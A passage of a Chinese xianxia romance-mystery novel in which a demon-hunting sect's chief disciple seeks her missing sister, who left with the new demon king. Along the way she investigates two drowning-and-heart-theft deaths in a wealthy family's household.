《清冷掌门今天驯服妖王了吗》
1. 私奔
定律司是一座隐于云端的仙宇寺院,是斩妖除魔、断案伸张正义之地。
晨钟的余韵在云海中回荡,定律司的琉璃瓦上凝结着晨露,折射出七彩的光芒。练武场上,几个少年聚在角落,压低的嗓音里藏着掩饰不住的兴奋。
"哎,听说没有?"青涩少年神秘兮兮地开口,目光扫过四周,像是怕惊动了什么。他袖口沾着几点墨渍,显然是刚从藏经阁溜出来的。
"什么什么?"壮实少年凑近时,腰间的玉佩撞出声响,惊得同伴连忙捂住他的嘴。
"小声点!"青涩少年瞪了他一眼,"据说沈师兄逃跑的时候把梵雪带走了!而且..."
他故意拖长了语调,"有人看到梵雪跟着沈师兄走的时候,衣衫不整,神情恍惚..."
壮实少年倒吸一口凉气,手中的剑鞘差点掉在地上。"沈师兄还真的是妖?我还当谣言呢!"
他挠头的动作顿住,突然压低声音,"关键难道不是沈师兄灭族之事吗?听说啊,那场面简直惨绝人寰!整个家族无一幸免,血流成河,整条街都被烧成了灰烬..."
话音未落,几片飞叶擦着他们的脸颊掠过,钉入身后的石柱。
少年们僵在原地,冷汗顺着额角滑落。他们这才发现,练武场上不知何时已经安静得可怕。
远处,梵音立于晨光中。她黑发如瀑,眉目如画,蓝色的锦缎长袍在晨风中轻扬。袍上的云纹仿佛活了过来,随着她的呼吸起伏。腰间的长剑泛着冷光,剑柄上的宝石折射出摄人心魄的光芒。
"大师姐。"
少年们齐齐行礼,声音里带着颤抖。他们看见梵音的手指轻轻摩挲着剑柄,指节因用力而泛白。
"下次再看到你们嚼舌根..."她的声音冷得像冰,"就让你们去寒冰室修炼。"
少年们低着头,连呼吸都放轻了。待那道蓝色身影消失在回廊尽头,少年们才松了口气。
"梵师妹怎么跟着沈师兄一起走了?"有人忍不住又开口。
"嘘!"
青涩少年做了个噤声的手势,"大师姐和沈师兄不是一直在争夺首席弟子的位置吗?"
他挤眉弄眼的样子引得众人发笑,"也许就是因为大师姐一直沉迷于修炼无法自拔,梵雪因为缺爱才会跟着沈师兄私奔,背叛师门!"
人群再次炸开了锅。壮实少年一脸憧憬,"不过也是...如果不是草根的话,大师姐早就是首席弟子了吧?"
他望向梵音离去的方向,"这次从北极之地修炼回来就已经是金丹期了,整个定律司长老级别才能达到这种境界,更别提她既会探案又会验尸,甚至还懂药理..."
远处,梵音站在回廊的阴影里,将这一切尽收耳中。她握剑的手微微颤抖,指节泛白。晨光透过雕花窗棂,在她脸上投下斑驳的光影,却照不进那双幽深的眼眸。
另一个少年挤眉弄眼道:“你说得很有道理,不过重点难道不是大师姐棒打鸳鸯?!”
壮实少年紧皱眉毛反驳道:“那不能这么说,我站大师姐这边。沈师兄看似是世族子弟,实则真身是妖!
还把整个家族的人都杀了,可谓是恶贯满盈!
梵师妹是被骗了吧?!说不定这里面还有什么惊天的阴谋呢!”
“砰砰砰——”
不远处树林再次飞来几颗小石子,一群少年郎像受惊的鸽子一般四散开来,有的抱头鼠窜,有的慌不择路地摔倒在地。
*
夜色如墨,藏经阁的烛火在窗棂间投下摇曳的光影。
梵音站在窗前,指尖无意识地摩挲着剑鞘上的纹路。四年前的记忆如潮水般涌来。
飞雪漫天,乾坤俱寂。
梵音携幼妹于茫茫雪野间踽踽而行,双亲早亡,致姐妹于诸亲眷间颠沛流离,且屡屡被迫迁离。
寒风肆虐,呼啸不绝,二人身影于风中摇曳。
梵音紧紧握住妹妹那幼小的手掌,心疼地呵气为其取暖:“雪儿,这样可感觉暖和一些了?
阿姐定会照顾好你的,往后我们姐妹俩便是一个家。可好?”
雪儿那张幼小纯真的脸上,傻傻地笑着:“好。全听阿姐的话~”
梵音仍沉浸在与妹妹的回忆之中,难以自拔。突然,身旁的蜡烛猛地剧烈闪烁了几下,随后噗的一声熄灭,藏经阁瞬间被黑暗吞噬。
黑暗中,一个阴冷的声音在耳畔响起,"呵呵,想救妹妹就跟我来!"
梵音瞳孔骤缩,剑已出鞘三寸。她看见一道黑影从书架间掠过,带起的风掀动案上的经卷。
追出藏经阁时,月光正盛。黑影在林间穿梭如鬼魅,梵音的剑光紧随其后。
黑影突然停在一处狭窄的山谷前。梵音毫不犹豫地挥剑,剑气划破夜空,与黑影的阴森气息碰撞出刺目的火花。
梵音瞬间回神,拔剑追去,眼神中满是坚定与决绝。黑影移动速度快如闪电,瞬间消失在黑暗中,她拼命紧跟,在山林中不断拐弯,脚下的枯枝败叶被踩得嘎吱作响。
黑影出招诡异莫测,每一招都透着阴森的气息,梵音则依靠敏捷的反应和精湛的剑术顽强抵抗。
一番激烈的搏斗后,梵音逐渐占据优势,汗水湿透了她的衣衫。
就在她准备给黑影致命一击的时候,那黑影突然发出一阵令人毛骨悚然的阴森笑声,笑声在山谷中回荡。
随后黑影身形一闪,如同融入了这无边的黑暗深处,消失得无影无踪。
“呵呵~线索已经给你了,能不能发现就看你的本事了~”那声音仿佛还在山谷中萦绕,久久不散。
梵音大口喘气,胸口剧烈起伏,正要继续追踪,却感到一阵天旋地转,眼前的景象开始变得模糊起来,仿佛有一层迷雾笼罩。
当她再次睁开眼睛,竟然身处在沈观家族的遗址。
曾经风华一世的沈家院里一片寂静,被火烧过的痕迹只剩下一地荒凉。
黑夜中,一朵黑色的花在月亮的余光下绽放出奇异的光芒,那光芒透着一股说不出的邪性。她的心跳加快,呼吸也变得急促。
“嗡嗡嗡 ——”
传令牌突然震动起来,那震动声在这寂静中显得格外突兀,想必是有新的案件了。
梵音紧皱的眉头无法松开,那剑眉之下,一双明亮的眼眸此刻充满了焦虑与不甘。
风吹竹林,竹叶抖动,发出萧萧声响。
掌门书房内檀木几上摆着一盏紫铜麒麟香炉,静静的吐着云纹般的香烟。
“梵音,坐。”
掌门朝着梵音招了招手,气定神闲地斟了两杯茶。
梵音快步走进屋内,敛衽一礼,眼神中透着急切。她听到让坐的话语,却只是站着未动。“掌门,有任务了吗?”
掌门未语,只是举起茶杯浅浅饮了一口茶,笑眯眯道:“急什么。先喝杯茶歇一歇吧。”
梵音微微颔首举起热茶,喝了一口,但眉头微皱,心里依旧惦记着线索。
“你又去了沈家遗址?”
梵音怔愣片刻,抬眼
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疑惑看了一眼掌门,脸上闪过一丝慌乱,随即又恢复平静。
只见掌门手指轻指地上的鞋印。
梵音脸上泛起一丝尴尬,点了点头。
掌门抬起茶杯一饮而尽,看着梵音,眼中流露出一丝怜惜,轻叹道:“梵音啊,我知晓你对梵雪的担忧,那孩子也是我看着长大的,这般下落不明,我也心疼。”
梵音抿了抿唇,眼中闪过一丝感动。若非掌门,她与梵雪早就死在那个雪夜里了....
“他如今成为妖族新王是事实。
我知道你肯定担心雪儿的安全,我也不会阻拦你去调查这件事,你若想查就查到底。
但现在需要你去雷光城一趟。”
梵音脸上露出不情愿的神情,稍稍停顿,抿紧了嘴角:“掌门,如今我已有雪儿的线索,若不是要案的话是不是可以让司内其他人调查?”
掌门挑起双眉,带着几分威严和肃穆道:“这个案件人家点名要的定律司最好的捉妖师。
虽然我说沈家灭族案你想查就可以查,但你如今是首席弟子,那一切都应以定律司为优先。
好了,这里有案件档案,拿回去自己看。你要好好办!”
梵音默然半晌,方缓缓睁开双眸,道:“....收到!”
掌门微微嗅了一下空气,皱了皱眉道:“你怀里的是什么东西?”
梵音一脸尴尬,默默将将怀里的黑色花拿出,眼神躲闪。
“这花是从沈家遗址摘的?”
梵音脸色僵硬,犹豫地点了点头。“刚刚在沈家遗址有个神秘人,我与他近身搏斗过。是个高手,形迹可疑,这花是他给的线索……”
掌门睨了一眼梵音,生气道:“为何单独一人赴战?若是有陷阱可怎么办?更何况你知道这花的意义?”
“....弟子知错。”
掌门抬眼看了一眼温顺垂头不语的梵音,心里一软,半晌后方道:“这是乌鸢,黑色乌鸢更是难得一见的品种。”
“这花是有什么名头吗?”
他眸中闪过一丝光芒,缓缓说道:“难得一见的品种自然也是不吉利的,这黑色的乌鸢代表的是绝望的爱和孤独。”
梵音心头微震,将这句话细细思量了一遍,沉吟片刻后问道:“我刚刚查探沈家遗址之时偶然发现一丝淡淡的妖气。
发现似乎是这土壤自带的,您可知这是什么吗?”
掌门抬眼瞟了一眼方巾里的土壤,“妖昙土。”
“妖昙土?”
“人间有桃花源,妖界也有。这妖昙土就是来源于妖界的桃花源。”
梵音略一思忖便明白了个中缘由,冷冷道:“那就是说,这花有可能是案发当时种下的?”
掌门唇边虽挂着一抹微笑,但眸中却毫无笑意,淡淡点头,“这花如果不是沈观种的话,那就极有可能是真正的犯人种下的。”
梵音眉头紧蹙,目光中充满了狐疑,“这花是故意种下的,也就是说犯案之人在炫耀自己的手法,为此特地用妖昙土保鲜留存自己独有的印记。”
掌门脸色低沉,指尖轻敲桌,微微颔首。
梵音缓步上前,欠身为礼:“多谢掌门赐教,弟子先行告退了。”
掌门抬眼目送梵音,最后悠悠开口道:“雷光城案件速速解决。”
梵音微微颔首离开书房,今夜月光正好,她站在廊下,望着手中的乌鸢花。花瓣在月光下泛着幽蓝的光,像是某种无声的呼唤。她轻声呢喃,"雪儿,等着阿姐..."
2. 迷晕
"咻咻咻——"
三道淬毒箭矢擦着耳际掠过,梵音后腰重重撞上嶙峋石壁。第四支箭穿透玄色束袖的瞬间,她瞳孔骤然紧缩,齿关咬住下唇逼回痛呼。殷红顺着鎏金箭翎蜿蜒而下,在月光下泛着诡异的青紫光泽。冷汗自微颤的睫毛坠落,晕开眼尾朱砂小痣,将那颗艳色揉碎成氤氲的胭脂痕。
"这不是定律司首席弟子——梵音吗?"
沙哑的讥笑自岩窟深处荡开,四道黑影踏着满地碎石显形。为首刺客肩扛丈余巨石锤,青铜面甲下三角眼眯成险恶弧度,布满老茧的指节在锤柄上敲出沉闷节拍。他身后三人呈品字列阵,玄铁护腕折射的寒光掠过梵音渗血的腰侧。
梵音忽地展颜,染血的唇勾起新月弧度:"笑话。"
她反手折断箭杆,带血的指尖轻点地面血渍,"若我不假意中陷阱,诸位鼠辈怎敢现身?"尾音未落,足尖已踏着飞溅的碎石腾空,玄色衣袂翻涌如夜枭展翼。
石锤刺客面甲下的喉结剧烈滚动,暴喝声震得岩壁簌簌落尘。千斤巨锤裹挟风雷之势破空而来,锤面凸起的尖刺撕开潮湿空气,裹挟的砂砾如刀锋割裂梵音颊边碎发。
她凌空旋身,云纹长靴精准点在锤头龙纹浮雕处,借力跃至半空时,十指已结出九重莲华印。
"焚!"
地面骤然迸裂,赤红火舌如毒蛇吐信缠上刺客脚踝。石锤刺客青铜面甲下渗出焦糊气味,瞳孔映出梵音翻飞的衣袂——那抹玄色身影正踏着火浪疾冲而下,掌中凝聚的鎏金符咒照亮她眉间凛冽霜色。
"你们是何人所派?"
"新任妖王!"
刺客嘶吼着挥锤砸碎火蛇,锤面土黄色咒文骤亮,无数岩刺自地底暴起。梵音闻言眸中寒芒大盛,翻飞的广袖突然凝滞半空——那支染血的断箭竟被炼作三尺青锋,剑锋流转的赤芒映得她眉心血痕愈发妖冶。
"好得很。"
她轻笑出声,剑尖挑起流火直指苍穹,"那便拿你试我新悟的焚天诀!"
鎏金符箓自袖中鱼贯而出,在空中结成炽烈日轮。她发间玉簪应声而碎,乌发如瀑散开瞬间,火翼自肩胛骨破衣而出。赤色翎羽纷扬如雨,每一片都在坠落时化作流火,将方圆十丈照得恍如白昼。
"砰——!"
日轮坠地的刹那,石锤刺客的惨嚎穿透云霄。青铜面甲熔成赤红铁水,顺着焦黑面庞蜿蜒出可怖沟壑。他疯狂抓挠着灼烧的喉管,指缝间迸出的火星将玄铁护腕熔成暗红浆液,在焦土上烙出扭曲的印记。
"这火..."梵音翩然落于尚在冒烟的巨锤残骸上,足尖轻点熔化的锤柄,"可是掺了凤凰心头血的。"
余下三名刺客喉间发出困兽般的低吼,雷电法阵在地面绽开蛛网状裂痕。
梵音瞳孔倏地收缩——方才强行催动焚天诀的反噬此刻汹涌袭来,喉间腥甜再也压制不住。她借着转身挥剑的姿势将血咽回,剑锋划出的弧光却已不如先前凌厉。
"结三才阵!她撑不住了!"
左侧刺客突然狞笑,额间妖纹泛出诡谲紫光。三道雷柱自云层劈落,梵音火翼急振却仍被余波击中左肩,焦糊味混着血腥在鼻腔炸开。她踉跄落地时,袖中最后三张保命符已化作金粉。
"雪儿..."
梵音染血的指尖死死扣住怀中玉佩,三枚染着凤凰血的指甲掐破掌心。血珠滴落瞬间,玉佩冰裂纹中突然游走出发光的脉络,如同活体血管般在玉璧上勾勒出星图。
她以血为媒画出追踪术,万千萤火自裂隙喷涌,凝成发丝粗细的蓝光射向崖底——
妖族大军如黑潮漫过山脊,玄铁鳞甲碰撞声似恶鬼磨牙。梵音背靠万丈深渊,染血的玄衣在狂风中猎猎作响。
她扫过逼近的猩红妖瞳,忽地展颜一笑,沾着血渍的虎牙闪过寒光:"我赌——上上签。"
纵身跃下的刹那,十七道缚妖索擦着发梢掠过。崖间罡风撕开她肩头狰狞伤口,血珠坠入雾气蒸腾成绯色云烟。那缕蓝光在狂乱气流中忽明忽暗,如同挣扎的萤火虫,却始终执着地指向某处岩壁。
"自寻死路......"妖魔的嗤笑破碎在风里。
梵音咬碎舌尖强提最后灵力,足尖在凸岩借力七次,血脚印在峭壁绽出凄艳红梅。
落地时蓝光正悬在藤蔓掩映的石门前,即将推开门之前她觉得自己的整颗心突然酸软了一下,仿佛有些把持不住,只余一口荡悠悠忽明忽灭的气提在胸口,支撑着身体的行动和表情的控制。
“雪儿……姐姐来了”
她艰难地推开蓝光所指的楼阁之门,门内是一座富丽堂皇的宫殿,殿中仅有一人。
沈观从正殿徐步而出,依旧身着往日惯穿的白衣,头束白玉冠,腰缠玉带,愈发显得他玉树临风。那精致立体的五官,清冷高雅的气质,仿若高山白雪、高岭之花。可谁又能想到这是一个弑族之人?更别提是新任妖王!
梵音看到那熟悉的穿着,顿时眼中燃起怒火,语气如冰道:“沈观!我妹妹呢?!”
沈观却似笑非笑地看着她,眼中满是戏谑,悠悠说道:“你猜?”
梵音闻言,胸口仿佛被重锤狠狠一击,全身的血液瞬间冷凝,面色瞬间变得苍白如纸。
她瞪着沈观,“沈观,你别太过分!”
沈观那一双狭长的风目微微上挑,眸底深处尽是漫不经心,轻笑。
“过分?这就过分了?”
梵音气得浑身颤抖,冲上前想揪住沈观的衣领,却被他轻轻一挥袖,摔倒在地。
梵音缓慢地往后退了两步,捂着胸口,似乎在强忍着什么,最终没能忍住,猛地喷出一口鲜血,鲜血溅落衣襟。
沈观看着她晕倒的模样,眼神中闪过一丝复杂的情绪,但很快又恢复了冷漠。
一夜无眠的沈观目不转睛地紧盯着床榻上睡得毫无防备的梵音,敛下眼眸。缓缓抬起手指,在她的脸颊轻轻划过,最后停留在纤细却白皙的脖颈处,眸色渐渐变得晦暗不明。
“唔......”
睡梦中的人一个转身,玉佩从胸口冒了出来。沈观胸口一滞,他轻轻抚摸着玉佩上的家徽,抿紧了嘴角,垂下眼帘,神色复杂。
睡梦中的梵音似乎也在梦境中苦苦纠缠,眉毛轻蹙,冷汗不停地往外冒。
“雪儿!”
梵音惊醒后目光迷蒙了一瞬,随后猛地凝神,眼神复转清明,轻叹还好只是梦。
屋外,狂风呼啸着掠过竹林,修长的竹叶沙沙作响。屋内,淡淡的茶气袅袅萦绕,仿佛一层薄纱。
沈观不紧不慢地掀开旁边火炉上座着的铜壶顶盖,朝着氤氲的白气间瞥了一眼,漫不经心地说道:“醒了?”
梵音眉头紧蹙,陷入沉思,一时之间难以将眼前这个沈观与梦中记忆里的那个他重合。
此刻映入眼帘的,是那张熟悉却又透着陌生的俊脸。他眉目如画,那肌肤比羊脂玉还要细腻柔滑,削薄的唇微抿,笔挺的鼻侧的痣愈发显得妖冶魅惑。
向来偏爱素色袍的他,如今却身着一袭红袍,鲜艳如血。衣襟随意敞开,露出诱人的锁骨,他桀骜
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不驯地跨坐着,微微摇晃着手中的茶杯,以一种居高临下的姿态俯瞰着她。
梵音呆呆地望着他许久,才缓缓吐出一口气,说道:“衣服穿这么少,不冷?”
她毫不客气地坐在这位新任妖王的对面,优雅地端起茶碗,轻轻抿了一口。
“....”
听闻此言,沈观微微收紧了衣服,默不作声,继续往紫砂壶中添水。他的眼神闪过一丝不易察觉的情绪,手中的动作却未停下。此时,窗外的风愈发猛烈,吹得窗户嘎吱作响。
“我睡了多久?”
“三日。你是真的心大呢,还是想着擒贼先擒王?不过你现在这副模样,也只有任人宰割的份。”
他懒倦地靠在檀木椅上,双瞳漆黑如夜,深不见底,仿佛一潭死水,氤氲的凉薄寒意令人脊椎发冷。
梵音端着茶杯,丝丝缕缕的茶气萦绕在她脸上,让人难以看清她此刻的表情。她手上暗暗蓄力,“我就问你,雪儿在哪?”
说罢,她瞬间如离弦之箭般冲上前,右拳紧握,带着呼呼的风声朝沈观砸去。
沈观却只是微微侧身,轻松避开,左手的茶杯稳如泰山,甚至连茶水都未溅出半分。
“呵。我如果说不知道呢?”
梵音双眸怒瞪,微微眯起,眼缝中泄出的寒光,犹如锋利的刀刃,裹挟着杀意。
“雪儿不可能跟你私奔的,她是不是被你绑走的?”
沈观轻轻摩挲着手中的紫砂茶杯,骨节分明的纤长手指在紫砂茶杯的映衬下显得格外温润如玉,可他的眼中却满是戏谑。
他嘴角上扬,带着一丝嘲讽,“哦?你很了解你妹妹吗?若不是看在她的份上,你以为你还能活到现在?”
梵音听到此话更加怒上心头,紧咬着牙关,额头上青筋暴起,从牙缝中一字一句挤出:“你这个登徒浪子!把雪儿...交出来...”
梵音手腕一转,手中长剑瞬间出鞘,如银龙出海,挽出朵朵凌厉的剑花,带着寒光朝着沈观直刺而去。
沈观一个侧身躲过,顺势伸出一只手抓住梵音的手腕,用力一扭。
梵音吃痛,却不肯松手,另一只手挥拳朝着沈观的脸打去。沈观头一偏,躲过这一拳,抬腿踢向梵音的腹部。梵音向后一跃,躲开这一脚,再次举剑刺来。
当梵音长剑刺穿茶案时,沈观屈指弹在剑脊。玄铁震颤传导至她虎口撕裂的伤口,温热血珠溅上他殷红衣襟,在龙纹刺绣上洇出暗色牡丹。
他忽然俯身贴近,鼻尖几乎触到她颤抖的睫毛:"你可知,你这副强撑的模样..."玉雕般的指节抚过她颈侧暴起的青筋,"比求饶更动人?"
他轻轻一个响指,室内突然雾气弥漫。梵音腾空的身体瞬间失去支撑,开始急速坠落。
梵雪推门而入时,沈观正将昏迷的梵音放回床榻。他指尖还残留着那节脖颈的温度,白玉冠下几缕碎发垂落,在女子苍白的脸上投下蛛网般的阴影。当紫色衣角掠过门槛,他已端坐回鎏金螭纹椅,方才那一瞬的滞涩仿佛只是烛火晃动的错觉。
“观哥,没伤着吧?”
只见一个身影快步走来,那人眉毛细长而浓密,微微上扬的弧度增添了几分英气,身着一袭紫色的劲装,衣袂飘飘。
沈观神色淡淡,微微皱起眉头,“无碍。”
梵雪面带疑惑,继续问道:“观哥,既然知道姐姐在雷光城调查到妖昙土的事情了。为什么不直接....”
沈观眼神中流露出几分趣味和隐晦,“这样更痛苦不是吗?”
3. 验尸
雷光城中街道纵横交错,八街九陌,商铺鳞次栉比,灯火如星河倒悬。两侧尽是茶楼、酒肆、当铺、作坊,空地之上摊铺密集,商贩的吆喝声此起彼伏,市井喧嚣如沸,烟火气扑面而来。
然而,当夜幕如厚重的黑幕缓缓降下,那弯冷月高悬于苍穹,洒下清冷而幽寂的银辉,给这座城蒙上了一层诡谲而阴森的面纱。
梵音手持雷光城雇主给予的地图,闲庭信步般朝着雇主所在之地行去。一座恢宏的院落映入眼帘,门匾上“柳家府”三个大字醒目,门梁上挂着白色挽幛,两盏素灯贴着“奠”字。
梵音轻叩三下大门,不多时,门扉开启。年轻男仆那低沉嘶哑的声音传来:"夜已深,府上不便待客。"
"定律司梵音,为柳家命案而来。"她亮出腰牌,鎏金纹路在月光下流转,"烦请通报。"
须臾,大门大开,柳家众人鱼贯而出。柳老爷一看是个漂亮女子,脸上的喜悦顿时消散。
柳家众人步入厅内,柳家老爷端坐于主位之上,三旬男子立于其右侧。梵音被安排在左侧首位,右侧坐着四位女子,其后皆有婢女侍奉。
柳老爷悄悄附耳问柳管家:“怎么回事?为什么会是女子?我不是让你交代要最好的捉妖师吗?”
柳管家低声回道:“老爷,要的就是最好的。据说这位是浮师尊唯一的亲传弟子,现在就是定律司的首席弟子。”
柳老爷轻轻咳嗽一声,尬笑道:“管家,给仙人介绍一下情况。”
柳管家朝着右侧座位首位哆哆嗦嗦地拱手介绍:“这位是我们的柳夫人——柳月。”
柳夫人云鬓间红宝金钗微颤,碧色长裙下摆绣着暗纹蝶影,腰间佩着墨绿色玉佩,腕间戴着晶绿色手镯。
柳管家接着说道:“这位是我们的三夫人——柳诗雨。”
柳诗雨身着紫色长裙,乌发轻挽成高髻,几根珠玉钗斜插其间,整个人端庄秀丽,只是相较柳夫人,此刻显得越发怯懦,她小心翼翼地瞥了一眼梵音,便匆匆低头饮茶,仿佛不敢多看一眼。
“这位是我们的大小姐——柳莺。”
柳莺身着一袭青色长裙,头上简单挽着发髻,插着一支精致的金簪,腰间挂着青色玉佩。其容貌与柳夫人颇为相似,只是在这昏暗的厅内,更为青春年少的面容却显得苍白如纸。
“这位是我们的三小姐——柳诗音。”
柳诗音身着豆青色衣裳,通身上下首饰寥寥,仅在发髻上松松插着一支木钗,腕间戴着一个素银镯子。眉目之间透着淡淡的书卷气,可在此时,那书卷气也被恐惧所吞噬。
柳管家最后说道:“其余的皆是几位夫人和小姐的婢女,方才给仙人开门的是柳家男仆——柳七。
"我那苦命的妾室..."柳老爷攥紧扶手,指节发白,"还有我那孩儿..."
"节哀。"梵音目光扫过众人神色,"此案蹊跷,还望诸位知无不言。"
柳管家接话道:“二夫人突然溺毙在了家中池塘里,起初大家都只当是雨天湿滑所致,压根没敢往邪祟之事上去想。”
柳管家的脸色瞬间阴沉下来,眼神中透着恐惧与不安,“可谁能料到,就在二夫人去世第二天,小公子竟然也在那池塘里丢了性命!
那池塘的水早就抽去了大半,水深不过才到膝盖而已,怎么可能会溺毙!那诡异的场景,至今回想起来都让人毛骨悚然...”
他的声音愈发颤抖,仿佛又回到了那恐怖的时刻,“本想着让母子合葬在一起,也算一种团圆。
可谁想……
合葬那日两人的心都不见了!不知道是不是专门吃心的妖物,将二夫人和小公子拖进了死亡的深渊。”
此时,窗外的风声似乎更紧了,吹得窗棂嘎吱作响。厅内的烛光在寒风中摇曳不定,映得众人的脸庞忽明忽暗。
柳家老爷顿时嚎哭起来,声音凄厉悲惨,右侧的四位女子亦随之悲泣,整个厅内瞬间被哭声笼罩。
“我家老爷老来得子,对小公子宠爱至极。奈何老天不开眼啊,恳请仙人一定要替小公子申冤呐!”
梵音环视一圈却并未察觉到丝毫妖气,拱手道:“请各位放心,我身为定律司首席弟子一定会侦破此案。
最后,柳夫人和小公子的尸体是否已入葬呢?”
柳老爷似是拼尽全身力气强忍着悲痛收拾好了心情,声音沉重道:“衙门师爷与我乃是多年故交,他提议我可请定律司的仙人前来查探,瞧瞧是否有邪祟作祟。
师爷让我将尸身存放至地窖,并储存冰块。至于衣物和房屋也都统一封存,未让人动。”
梵音眼中一亮,赞道:“师爷此举高明,如此一来倒是方便许多。事不宜迟,快带我前去地窖。”
柳老爷冲柳管家颔首示意,柳管家便带着梵音前往地窖。一路上,风声如鬼泣,黑影似幽灵,让人毛骨悚然。
“平日里柳家众人感情可好?”
柳管家敛了敛眉,那笑容在黑暗中显得极为难看,“甚好,和乐融融。”
只见地窖门口缓缓开启,一股阴寒至极的冷风呼啸而出,带着浓烈的腐臭和血腥的腥味,仿佛是地狱的气息。
柳管家瑟缩着脖子,紧紧拢了拢身上的袍子,不自然地僵笑:“仙人,您看是否还需要我在旁伺候?”
梵音稍稍有些怔住,半晌后,露出一个柔和的微笑,“柳管家若是不愿一同入内,可在地窖口等我。待会我还需探查一下池塘,烦请带路。”
柳管家如释重负:“自然。我在此处等仙人。”
梵音举步迈入地窖深处,捏起一个火诀。两具尸体摆放于地窖中央,一女一男,皆已由衙门仵作勘验完毕。
两个尸体的心脏空落落的,眼神可怖似乎死不瞑目。
梵音从万宝袋取出探妖石,有丝丝缕缕若有若无的妖气,极为淡薄。
将火诀悬于上空,火光照在尸体脸上,显得更加狰狞恐怖。又拿出蚕丝面巾、蚕丝手套、银剪,开始验尸。
温夫人口鼻处有蕈样泡沫,衣物完好,中衣偶有沙砾,确似溺毙之症。梵音拿起银剪剪开胸腹部的缝针,肺部未见溺死斑和溺液。
查看温夫人的眼睛,那瞳孔散大,含有出血斑,犹如恶魔的眼睛。手指指甲干净,未见到任何水植植物。她从万宝袋取出银针,探入其口中和胃部。
须臾,银针取出并未变色。思索片刻后将探妖石往胃部检测,果然有异常!
梵音为温夫人整理好衣物,走向小公子。
小公子的口鼻处也有蕈样泡沫,眼球结膜充血,那眼睛仿佛还在死死地盯着什么。
外衣脏乱,里衣洁净。肺部有溺死斑和溺液,探妖石对小公子毫无反应。但手指指甲有黑色东西,梵音轻轻刮下黑色之物,再为其整理好衣物。
“看似两人皆是溺死,但实则并非如此。”得出结论后迈步走向地窖出口。
“柳管家?”
柳管家一惊,身体
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颤抖了两下,看清是梵音后,取出怀中的紫色手帕擦去额间冷汗,“仙人,实在抱歉。近些时日睡眠不佳,终于盼来了您。一时安心,便打起了瞌睡。”
梵音不着痕迹地扫了一眼柳管家,周围的黑暗更加浓重,想来自己验尸花费的时间比预想的更久。
她沉思片刻,徐徐开口:“温夫人和小公子都是何时遇害的呢?仵作当时可有给出具体的勘验时辰?”
柳管家肃然道:“有的,温夫人是亥时,小公子则是酉时。”
“现在恰好酉时。”
柳管家怔愣片刻,“仙人还想前往花园池塘吗?”
梵音颔首,温言道:“烦请柳管家带路,我们前去花园池塘一探究竟。”
踏入花园,仿若置身于另一个世界。
华丽的楼阁被清澈的池水环绕,池中的浮萍铺满水面,碧绿而明净,宛如一幅绝美的画卷。
一池泓水犹如一面巨大的明镜,镶嵌在繁茂的草木之间,水榭华庭依水而立,奇花异草绕水绽放,五彩斑斓的蝴蝶在花丛中翩翩起舞。
从楼阁的走廊穿过便是池塘,假山奇石罗列。池塘边虽有不少凸起的石头,但也只是寻常路。即便下雨天晚上也不至于让人失足跌落池塘,除非本身早已神智不清!梵音思忖及此后毫不犹豫跳下水池。
“咚!”
柳管家被吓得脸色惨白,尖叫道:“呀!仙人?”
梵音低头看了看,水深确实仅到小腿肚,就小公子的身高而言到膝盖骨也确实不假。她伸手向池塘底部捞了一把,"借手帕一用。"梵音摊开掌心,黑泥渗出诡异光泽。
管家慌忙递上素帕,声音发颤:"仙人下次...还请提前知会一声。"
梵音笑了笑略带歉意道:“我的坏习惯,下次定会告知的。一入池塘才知其为何这桃源居如此温暖如春了,原是引渡了温泉活水。”
柳管家赞道:“仙人果然是目光如炬、聪慧非凡啊!没错,池塘的水一半来源于山泉水,一半来源于温泉活水。
桃源居引渡雷光城的温泉活水在花园底下,起到一个天然地龙的效果。”
梵音哈哈大笑,“谬赞谬赞。如此巧妙的设计是何人所构?”
柳管家一边走一边继续道:“晚饭时间到了,我们移步去大厅内院吧。咱们边走边说,这个设计和建造是雷光城望夫光望营造师所成。
但引渡温泉活水的巧思则是我们小姐所提,这也造福了我们冬天享用温泉。”
“甚好甚好。”
晚饭过后,梵音让柳老爷撰写信件引荐柳师爷,查看两起案件的卷轴。
回到厢房后的梵音难以入睡,她起身披了一件夹衣,推开窗户,静静坐于窗台之下,凝望着斜挂于半空中的弯月,仿佛陷入了沉思。
“锵、锵!二更天咯,注意防盗!天干物燥,小心火烛!”
梵音思忖着时间,御剑飞至空中,取出探妖石检测。
整个柳府弥漫着极其淡薄的妖气,而这股妖气的源头就在那神秘的花园中!
她追逐妖气来到池塘边,刚一站定,就感觉一股寒意从脚底直蹿心头。谁能想到竹林后面暗藏玄机呢?
“果然不是错觉!”
只见,丛丛繁茂的竹林深处盛开着花海,暖黄色的花在黑夜中显得格外妖冶。池塘边竹林沙沙作响,妖冶黄花随她的逼近缓缓转向,每片花瓣都睁开猩红的瞳仁。万万没想到沈家灭族案还能和柳家府挖心案有关联……
4. 八卦
翌日,雷光城衙门。
衙门看守的衙役看到柳管家,脸上露出讶异之色,忙不迭地跑上前来:“这不是柳管家吗?”
柳管家端起架子,扬起下巴,神色倨傲:“奉我家老爷之名前来拜见师爷,烦请通报知会。”
衙役拿着信件,眉头微皱,赶忙回道:“好好好,稍等。”
少顷,就见一名男子身着一身鸦青色的直身锦袍,衣袍剪裁合身,神态温和,嘴角含笑,俨然一副儒雅书生的模样,想必这便是柳师爷了。
柳管家瞧见那名男子,立刻换上恭敬的神情,弯着腰。“柳师爷。”
“柳老爷的信我已然看过,二位请进。”
柳师爷将两人带至衙门偏堂,刚一入座,就见衙役抱着几封卷轴匆匆而来,额头上还挂着汗珠。
他伸手指着桌上的卷轴,缓缓开口,神情严肃:“这便是那两起案件的调查情况,内含仵作勘验结果、死者亲属的问话。
但案件卷轴不得带离衙门,只能烦请仙人在此处查阅了。”
梵音了然地点了点头,“理解。柳师爷可先去忙,就不叨扰您办案了。”
柳师爷临走前补充道:“若仙人有任何疑问,可以着小厮来正堂唤我便是。”
“好,多谢柳师爷。”
梵音见人都走了,冲着一旁站着的小厮笑道:“如今这里仅剩你我两人,你坐一会吧,我不会和任何人说起此事的。”
小厮结结巴巴道:“好的,多谢......小姐。”说着,脸上满是受宠若惊的表情。
“你叫什么名字?”
小厮低着头,不敢直视梵音。怯怯诺诺道:“小的名唤柳成,小姐叫我阿成即可。”
“阿成,关于柳家府有没有八卦传闻之类的呢?”
“有呢!关于桃源居有这么个传闻。大家都在传言,柳府祖辈有福荫庇佑。”
